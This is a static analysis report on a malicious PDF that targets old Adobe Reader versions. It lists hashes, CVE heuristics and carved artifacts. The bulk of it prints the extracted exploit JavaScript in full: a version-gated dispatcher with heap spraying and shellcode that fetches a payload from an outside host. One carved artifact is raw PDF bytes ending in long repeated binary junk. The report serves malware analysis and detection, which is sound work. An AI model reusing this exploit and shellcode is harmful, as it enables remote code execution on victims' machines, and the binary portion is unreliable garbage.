Malicious PDF — malware analysis report

Static analysis result for SHA-256 17b0f135824327b7…

MALICIOUS

PDF

8.3 KB First seen: 2013-04-11
MD5: 5bfec33b0a5420beaf329443be4778e4 SHA-1: e8b2b6561db9842bd1bfaf610faae5b0a2e0a33c SHA-256: 17b0f135824327b741d719166e8608bd8e4013a90a78fdb74185fcf1aaabc508
612 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 14

  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (matched in decompressed stream)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (matched in decompressed stream)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (matched in decompressed stream)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • ClamAV: Heuristics.PDF.ObfuscatedNameObject critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Heuristics.PDF.ObfuscatedNameObject
  • Hex-obfuscated scripting name object critical PDF_OBFUSCATED_NAME_OBJECT
    A PDF name object that drives script execution (/JavaScript or /JS) is written with #XX hex escapes to hide it from string-based scanners — e.g. /J#61v#61S#63r#69p#74 decoding to /JavaScript. Legitimate PDF producers always write these names literally; hex-encoding an executable name is a deliberate evasion used by exploit-kit and dropper PDFs.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    app.eval();
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • Object number defined twice with different bodies info PDF_DUPLICATE_OBJ_BODY_INCREMENTAL
    The same indirect object (N G) is defined more than once with different body bytes. First-wins and last-wins readers will resolve different content, which is a parser-confusion shape used by targeted PDFs. Body-only differences are common in benign incremental updates, so severity is raised only when the duplicate carries active content.
  • PDF differential parser failed info PDF_DIFFERENTIAL_PARSE_FAILED
    The cross-check parser (pdfminer.six) failed on this file: PDF differential parser failed: PSSyntaxError. Static heuristics still ran and any of their findings above are valid; only the differential cross-check signal is missing.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 5

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0116_000.js pdf-javascript-stream PDF /JS object 116 at offset 0x497 6350 bytes
SHA-256: 9a0be4addaac81eb3762ea2cbc2d1fa1492e3eb871a7f978d1884a71619e0bd4
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var iYy=unescape,zws=app.viewerVersion.toString(),XZR=iYy("t\h\i\s");XZR=eval(XZR);if(zws<8)
{gQJHg();}
if(zws>=8&&zws<9)
{Rgt();}
if(zws<=9)
{HqIVe();}
function doftk(UiVOp,WGwzC){while(UiVOp.length*2<WGwzC){UiVOp+=UiVOp;}
return UiVOp.substring(0,WGwzC/2);}
function gQJHg(){var fnniw=iYy("\u4343\u4343\u4343\u0FEB\u335B\u66C9\u80B9\u8001\uEF33\uE243\uEBFA\uE805\uFFEC\uFFFF\u8B7F\uDF4E\uEFEF\u64EF\uE3AF\u9F64\u42F3\u9F64\u6EE7\uEF03\uEFEB\u64EF\uB903\u6187\uE1A1\u0703\uEF11\uEFEF\uAA66\uB9EB\u7787\u6511\u07E1\uEF1F\uEFEF\uAA66\uB9E7\uCA87\u105F\u072D\uEF0D\uEFEF\uAA66\uB9E3\u0087\u0F21\u078F\uEF3B\uEFEF\uAA66\uB9FF\u2E87\u0A96\u0757\uEF29\uEFEF\uAA66\uAFFB\uD76F\u9A2C\u6615\uF7AA\uE806\uEFEE\uB1EF\u9A66\u64CB\uEBAA\uEE85\u64B6\uF7BA\u07B9\uEF64\uEFEF\u87BF\uF5D9\u9FC0\u7807\uEFEF\u66EF\uF3AA\u2A64\u2F6C\u66BF\uCFAA\u1087\uEFEF\uBFEF\uAA64\u85FB\uB6ED\uBA64\u07F7\uEF8E\uEFEF\uAAEC\u28CF\uB3EF\uC191\u288A\uEBAF\u8A97\uEFEF\u9A10\u64CF\uE3AA\uEE85\u64B6\uF7BA\uAF07\uEFEF\u85EF\uB7E8\uAAEC\uDCCB\uBC34\u10BC\uCF9A\uBCBF\uAA64\u85F3\uB6EA\uBA64\u07F7\uEFCC\uEFEF\uEF85\u9A10\u64CF\uE7AA\uED85\u64B6\uF7BA\uFF07\uEFEF\u85EF\u6410\uFFAA\uEE85\u64B6\uF7BA\uEF07\uEFEF\uAEEF\uBDB4\u0EEC\u0EEC\u0EEC\u0EEC\u036C\uB5EB\u64BC\u0D35\uBD18\u0F10\u64BA\u6403\uE792\uB264\uB9E3\u9C64\u64D3\uF19B\uEC97\uB91C\u9964\uECCF\uDC1C\uA626\u42AE\u2CEC\uDCB9\uE019\uFF51\u1DD5\uE79B\u212E\uECE2\uAF1D\u1E04\u11D4\u9AB1\uB50A\u0464\uB564\uECCB\u8932\uE364\u64A4\uF3B5\u32EC\uEB64\uEC64\uB12A\u2DB2\uEFE7\u1B07\u1011\uBA10\uA3BD\uA0A2\uEFA1\u7468\u7074\u2F3A\u6E2F\u6363\u6E63\u6E6E\u2E63\u6E63\u692F\u676D\u6C2F\u616F\u2E64\u6870\u3F70\u3D61\u2661\u7473\u493D\u746E\u7265\u656E\u2074\u7845\u6C70\u726F\u7265\u3820\u302E\u577C\u6E69\u6F64\u7377\u5820\u2650\u3D65\u0032\u0000");var citAD=0x0c0c0c0c;var KXfeU=[];var IfpAs=0x400000;var ATYqm=fnniw.length*2;var WGwzC=IfpAs-(ATYqm+0x38);var UiVOp=iYy("\u9090\u9090");UiVOp=doftk(UiVOp,WGwzC);var IcpyE=(citAD-0x400000)/IfpAs;for(var MaVIl=0;MaVIl<IcpyE;MaVIl++){KXfeU[MaVIl]=UiVOp+fnniw;}
var xvxUI=iYy("\u0c0c\u0c0c");while(xvxUI.length<44952)xvxUI+=xvxUI;this.collabStore=Collab.collectEmailInfo({subj:"",msg:xvxUI});}
function Rgt(){var ZRp=new Array();function LNl(Wsh,zTG){while(Wsh.length*2<zTG){Wsh+=Wsh;}
Wsh=Wsh.substring(0,zTG/2);return Wsh;}
CZF=0x30303030;ufk=iYy("\u4343\u4343\u4343\u0FEB\u335B\u66C9\u80B9\u8001\uEF33\uE243\uEBFA\uE805\uFFEC\uFFFF\u8B7F\uDF4E\uEFEF\u64EF\uE3AF\u9F64\u42F3\u9F64\u6EE7\uEF03\uEFEB\u64EF\uB903\u6187\uE1A1\u0703\uEF11\uEFEF\uAA66\uB9EB\u7787\u6511\u07E1\uEF1F\uEFEF\uAA66\uB9E7\uCA87\u105F\u072D\uEF0D\uEFEF\uAA66\uB9E3\u0087\u0F21\u078F\uEF3B\uEFEF\uAA66\uB9FF\u2E87\u0A96\u0757\uEF29\uEFEF\uAA66\uAFFB\uD76F\u9A2C\u6615\uF7AA\uE806\uEFEE\uB1EF\u9A66\u64CB\uEBAA\uEE85\u64B6\uF7BA\u07B9\uEF64\uEFEF\u87BF\uF5D9\u9FC0\u7807\uEFEF\u66EF\uF3AA\u2A64\u2F6C\u66BF\uCFAA\u1087\uEFEF\uBFEF\uAA64\u85FB\uB6ED\uBA64\u07F7\uEF8E\uEFEF\uAAEC\u28CF\uB3EF\uC191\u288A\uEBAF\u8A97\uEFEF\u9A10\u64CF\uE3AA\uEE85\u64B6\uF7BA\uAF07\uEFEF\u85EF\uB7E8\uAAEC\uDCCB\uBC34\u10BC\uCF9A\uBCBF\uAA64\u85F3\uB6EA\uBA64\u07F7\uEFCC\uEFEF\uEF85\u9A10\u64CF\uE7AA\uED85\u64B6\uF7BA\uFF07\uEFEF\u85EF\u6410\uFFAA\uEE85\u64B6\uF7BA\uEF07\uEFEF\uAEEF\uBDB4\u0EEC\u0EEC\u0EEC\u0EEC\u036C\uB5EB\u64BC\u0D35\uBD18\u0F10\u64BA\u6403\uE792\uB264\uB9E3\u9C64\u64D3\uF19B\uEC97\uB91C\u9964\uECCF\uDC1C\uA626\u42AE\u2CEC\uDCB9\uE019\uFF51\u1DD5\uE79B\u212E\uECE2\uAF1D\u1E04\u11D4\u9AB1\uB50A\u0464\uB564\uECCB\u8932\uE364\u64A4\uF3B5\u32EC\uEB64\uEC64\uB12A\u2DB2\uEFE7\u1B07\u1011\uBA10\uA3BD\uA0A2\uEFA1\u7468\u7074\u2F3A\u6E2F\u6363\u6E63\u6E6E\u2E63\u6E63\u692F\u676D\u6C2F\u616F\u2E64\u6870\u3F70\u3D61\u2661\u7473\u493D\u746E\u7265\u656E\u2074\u7845\u6C70\u726F\u7265\u3820\u302E\u577C\u6E69\u6F64\u7377\u5820\u2650\u3D65\u0031\u0000\u0000\u0000\x43\x39\x43\x39\x43\x39\x43\x39\x43\x39\x43\x39\x43\x39\x43\x39\x43\x39\x43\x39");var afs=0x400000;var OFi=ufk.length*2;var zTG=afs-(OFi+0x38);var Wsh=iYy("\u9090\u9090");Wsh=LNl(Wsh,zTG);var Vzc=(CZF-0x400000)/afs;for(var oZP=0;oZP<Vzc;oZP++){ZRp[oZP]=Wsh+ufk;}
var eDF="38922279544736423325";for(iYy=0;iYy<138*2;iYy++){eDF+="5";}
util.printf("%4"+"50"+"00"+"f",eDF);}
function bls(pct)
{pct=pct.replace(/[\+1]/g,"0");pct=pct.replace(/[\+2]/g,"9");pct=pct.replace(/[\+3]/g,"8");pct=pct.replace(/[\+4]/g,"7");pct=pct.replace(/[\+5]/g,"6");pct=pct.replace(/[\+6]/g,"5");pct=pct.replace(/[\+7]/g,"4");pct=pct.replace(/[\+8]/g,"3");pct=pct.replace(/[\+9]/g,"2");pct=pct.replace(/[\+0]/g,"1");return pct;}
function HqIVe(){var SRgBv=iYy("\uC033\u8B64\u3040\u0C78\u408B\u8B0C\u1C70\u8BAD\u0858\u09EB\u408B\u8D34\u7C40\u588B\u6A3C\u5A44\uE2D1\uE22B\uEC8B\u4FEB\u525A\uEA83\u8956\u0455\u5756\u738B\u8B3C\u3374\u0378\u56F3\u768B\u0320\u33F3\u49C9\u4150\u33AD\u36FF\uBE0F\u0314\uF238\u0874\uCFC1\u030D\u40FA\uEFEB\u3B58\u75F8\u5EE5\u468B\u0324\u66C3\u0C8B\u8B48\u1C56\uD303\u048B\u038A\u5FC3\u505E\u8DC3\u087D\u5257\u33B8\u8ACA\uE85B\uFFA2\uFFFF\uC032\uF78B\uAEF2\uB84F\u2E65\u7865\u66AB\u6698\uB0AB\u8A6C\u98E0\u6850\u6E6F\u642E\u7568\u6C72\u546D\u8EB8\u0E4E\uFFEC\u0455\u5093\uC033\u5050\u8B56\u0455\uC283\u837F\u31C2\u5052\u36B8\u2F1A\uFF70\u0455\u335B\u57FF\uB856\uFE98\u0E8A\u55FF\u5704\uEFB8\uE0CE\uFF60\u0455\u7468\u7074\u2F3A\u6E2F\u6363\u6E63\u6E6E\u2E63\u6E63\u692F\u676D\u6C2F\u616F\u2E64\u6870\u3F70\u3D61\u2661\u7473\u493D\u746E\u7265\u656E\u2074\u7845\u6C70\u726F\u7265\u3820\u302E\u577C\u6E69\u6F64\u7377\u5820\u2650\u3D65\u0033\u0000\x29\x43\x29\x43\x29\x43\x29\x43");RIJ=iYy("\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090")+SRgBv;ITt=iYy("\u9090\u9090");HPy=5*2;lTu=HPy+RIJ.length;while(ITt.length<lTu)ITt+=ITt;BBH=ITt.substring(0,lTu);vCa=ITt.substring(0,ITt.length-lTu);while(vCa.length+lTu<0x40000)vCa=vCa+vCa+BBH;HAL=[];for(bEu=0;bEu<180;bEu++)HAL[bEu]=vCa+RIJ;var GpJ=4012;var HjQ=Array(GpJ);for(bEu=0;bEu<GpJ;bEu++)
{HjQ[bEu]=iYy("\u000a\u000a\u000a\u000a");}
Collab.getIcon(HjQ+"_N"+".b"+"un"+"dl"+"e");}
javascript_obj0123_002.js pdf-javascript-stream PDF /JS object 123 at offset 0x36E 7586 bytes
SHA-256: c3ea234cc30b913c74320006498fa5573cfaf248e0afdb2b966db7861b13a375
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
app.eval();
endstream
endobj
73 0 obj<</Subtype/XML/Length 224/Type/Metadata>>stream
©N> u «а©1XЄѕ»&Ї Єш'v/щ(шпС;с-nsd02`Б№Ђ0_5¦ћќ9%lч|Ъ|5‘•@ Ж‹эся ЄLД"  –Љ “©д«9иhS/ќkSЃcш-2T†ЮсѕqИ   ЊѓМwF} oN РХbљEИ iH\\ Лт
endstream
endobj
116 0 obj
<</ / / / /Filter/#46#6c#61#74#65#44#65#63#6f#64#65/Length 2000+052>>
stream
x^�X[o � ~ϯ  �B� �K./[y ��%c�� 'q�X���J�REVu�� ���f(;V ���S8�g��ϐ�3�G����o ��l�  棝O �r0��OF ���h����vWg/W��������a	�vk�?�O��V�G���`�Ƣӛ��P��:��N^<߇L���w���� ��'�[���p�   � ;^φ+�~���x�G������/�.>՝����t�P����du����И�[� j ��z1{�?w��w� �H���-S w�()��lr� ��s��m(b���R И�话� E�_��� $I  +@'t  c�	� No �� � X��`P ` M �2BCZ� ,q
��� �/ c2GԬ�ua Oƞ�Ϊ2��� IYK�F U��< ��� O] g&4��ʆ�3��	�B ���u:֦`k�����9� � �9"����b�lc
塒Ș1 e�V)�� ?��3���L^�E�<���� �h=0��� �j�嬇l�
�E� 2� ��{a FE�dER2 ����H���N��:'�t���& W�e����n����$HWC�Wd��
dO:G�{: �*n� U   #�8!_���_�w�tz  �>�jjʏ� �Ʉ �� ���"�	I�c7�9�<���"E ��?i_���<���� E����#���x���7�� ���@E;�uz ("�(�� Q��2F�or~#l!A� )� z�jZ���:f ���r� ڊ�OKM9oj�TF�D��>�:e�ϕ� c����i� lA��$�x `�� �C  �?k �ʃ�k  E�^�EȺBA*��a *^)hV�� �8Y*��  O��� ��Lf��q�'�R �+Q1 }%ln�%+,4�3CY
 � e�{ 6�"�^ �` k��Լ��=  e�Y�R�ac�<��%[ �y�  ��i��7T�Z� �儩I T�L<�I�&(��Z� ߐm��U �j��d z���	�C}���p���R\�a�����: �.����Z�#')����o ~(� �  &p�)Y�I����R�d���u�(D �  D�[ђ���c(���k7:O�Ho|�h��  G �R���w@"i��v�8�c&�M �˾� ������k�( H  �J ��8��вènɏ��t�� �M��w/Wg�QY�Q��*| L� ��Y�
���w��·��w,�y��r��*��p^�F ���b� u��� �����t�ӫg�� ?�T{� �-    ��J<x��oZ��W���b%���z��C� ���v<���P� j<W��� O� �m�KL]��������a0�[o�S��( �} JN	�'mPou T�xfN��M?@�ە����Oò�:u� �ʛ ���Ϩ��{`�'U~��c,�R
�«M� 5�l)WH)m�sta&�JI�bu4�� �^�ܷ�V� Rݲ �Ϗ֫�tw�� 5n�����-- �Uu[�� 8�
���= �0� ���]����p�~z��fo��촨 � U2��������L��P5S�=T�T} �25��ꘪ� L��P S3P7
�r��cs �m���  ~}�jA� �  %r:��E+� Gc� h�3n����p �i �� ��� hk�Վ�L� �� �  �VAJ ����u���ƶʑ�B� �k����ڪd��(E
�P�6t�a
QѓS�� � ti�gܲ+�S � �A 
�AC��<w���5��. r�W*�
�StVG�  ��\�lA
W3�%8
�s�d5y۠�#� '��: �  c�kX�Y�B� 0��uUMv ]�`�ŀ��r�#�����} �py ���u<�
Tc
��֮��p  0���� ��F $ � ��M�4n�@>�@ F�"i� Q��t*�?���ݩ%�&�դMh@eH�� "�<�%m�JK[� Gzb �E�,i�kKCl��!���17 ��%�
*:����"��'��Ã�w���k������V��������� �I���c�Qb���%�]��M� �!x=z����� ���>=� [b�׃;�/J�0O����Q� vos��! ��� ������*� �wa�� p/s�D[ �1VoY �s��l���E&���� e ��,�� ��"�� �Tmz"�L ~�� ������d�: ��ڐ���#���w � ��S� q� iv_�x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �
endstream
endobj
95 0 obj
<</ / / / /Direction/L2R/ / / />>
endobj
1990 0 obj
<</ / / / /S/#4a#61#76#61#53#63#72#69#70#74/JS 116 0 R/ / / />>
endobj
95 0 obj
<</ / / / /Direction/L2R/ / / />>
endobj
1 0 obj
<</ / / / /Typp/Action/S/#47#6f#54#6f/D[9 0 /XYZ 0 504 #31]/ / / />>
endobj
5 0 obj
<</ / / / /Typp/Action/S/#47#6f#54#6f/D[9 0 /XYZ 0 504 #31]/ / / />>
endobj
9 0 obj
<</ / / / /count 2/Type/Pages/Kids[1894 0 R]/ / / />>
endobj
123 0 obj
<</ / / / /Length 0000>>
stream
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
endstream
endobj
23 0 obj<</CropBox[0 0 595.22 842]/Parent 62 0 R/Contents 25 0 R/Rotate 0/MediaBox[0 0 595.22 842]/Resources 24 0 R/Type/Page>>
endobj
24 0 obj<</ColorSpace<</Cs6 59 0 R>>/Font<</TT2 52 0 R/TT3 54 0 R/TT4 45 0 R>>/ProcSet[/PDF/Text]/ExtGState<</GS1 57 0 R>>>>
endobj
25 0 obj[26 0 R 27 0 R 28 0 R]
endobj
26 0 obj<</Length 3>>stream
Y.в
endstream
endobj
91 0 obj
<</ / / / /S/JavaScript/JS 123 0 R/ / / />>
endobj
xref
trailer
<<
/Root 15 0 R
>>
startxrefx� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �
generic_stage_recovery_000.js deobfuscated-js generic stage recovery split-literal-normalize from JavaScript object 116 at offset 0x497 6329 bytes
SHA-256: 22d5ab1efe90a3e55fd7c9069cb36d501659d3ee410ec6137d762334f6b406ba
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var iYy=unescape,zws=app.viewerVersion.toString(),XZR=iYy("t\h\i\s");XZR=eval(XZR);if(zws<8)
{gQJHg();}
if(zws>=8&&zws<9)
{Rgt();}
if(zws<=9)
{HqIVe();}
function doftk(UiVOp,WGwzC){while(UiVOp.length*2<WGwzC){UiVOp+=UiVOp;}
return UiVOp.substring(0,WGwzC/2);}
function gQJHg(){var fnniw=iYy("\u4343\u4343\u4343\u0FEB\u335B\u66C9\u80B9\u8001\uEF33\uE243\uEBFA\uE805\uFFEC\uFFFF\u8B7F\uDF4E\uEFEF\u64EF\uE3AF\u9F64\u42F3\u9F64\u6EE7\uEF03\uEFEB\u64EF\uB903\u6187\uE1A1\u0703\uEF11\uEFEF\uAA66\uB9EB\u7787\u6511\u07E1\uEF1F\uEFEF\uAA66\uB9E7\uCA87\u105F\u072D\uEF0D\uEFEF\uAA66\uB9E3\u0087\u0F21\u078F\uEF3B\uEFEF\uAA66\uB9FF\u2E87\u0A96\u0757\uEF29\uEFEF\uAA66\uAFFB\uD76F\u9A2C\u6615\uF7AA\uE806\uEFEE\uB1EF\u9A66\u64CB\uEBAA\uEE85\u64B6\uF7BA\u07B9\uEF64\uEFEF\u87BF\uF5D9\u9FC0\u7807\uEFEF\u66EF\uF3AA\u2A64\u2F6C\u66BF\uCFAA\u1087\uEFEF\uBFEF\uAA64\u85FB\uB6ED\uBA64\u07F7\uEF8E\uEFEF\uAAEC\u28CF\uB3EF\uC191\u288A\uEBAF\u8A97\uEFEF\u9A10\u64CF\uE3AA\uEE85\u64B6\uF7BA\uAF07\uEFEF\u85EF\uB7E8\uAAEC\uDCCB\uBC34\u10BC\uCF9A\uBCBF\uAA64\u85F3\uB6EA\uBA64\u07F7\uEFCC\uEFEF\uEF85\u9A10\u64CF\uE7AA\uED85\u64B6\uF7BA\uFF07\uEFEF\u85EF\u6410\uFFAA\uEE85\u64B6\uF7BA\uEF07\uEFEF\uAEEF\uBDB4\u0EEC\u0EEC\u0EEC\u0EEC\u036C\uB5EB\u64BC\u0D35\uBD18\u0F10\u64BA\u6403\uE792\uB264\uB9E3\u9C64\u64D3\uF19B\uEC97\uB91C\u9964\uECCF\uDC1C\uA626\u42AE\u2CEC\uDCB9\uE019\uFF51\u1DD5\uE79B\u212E\uECE2\uAF1D\u1E04\u11D4\u9AB1\uB50A\u0464\uB564\uECCB\u8932\uE364\u64A4\uF3B5\u32EC\uEB64\uEC64\uB12A\u2DB2\uEFE7\u1B07\u1011\uBA10\uA3BD\uA0A2\uEFA1\u7468\u7074\u2F3A\u6E2F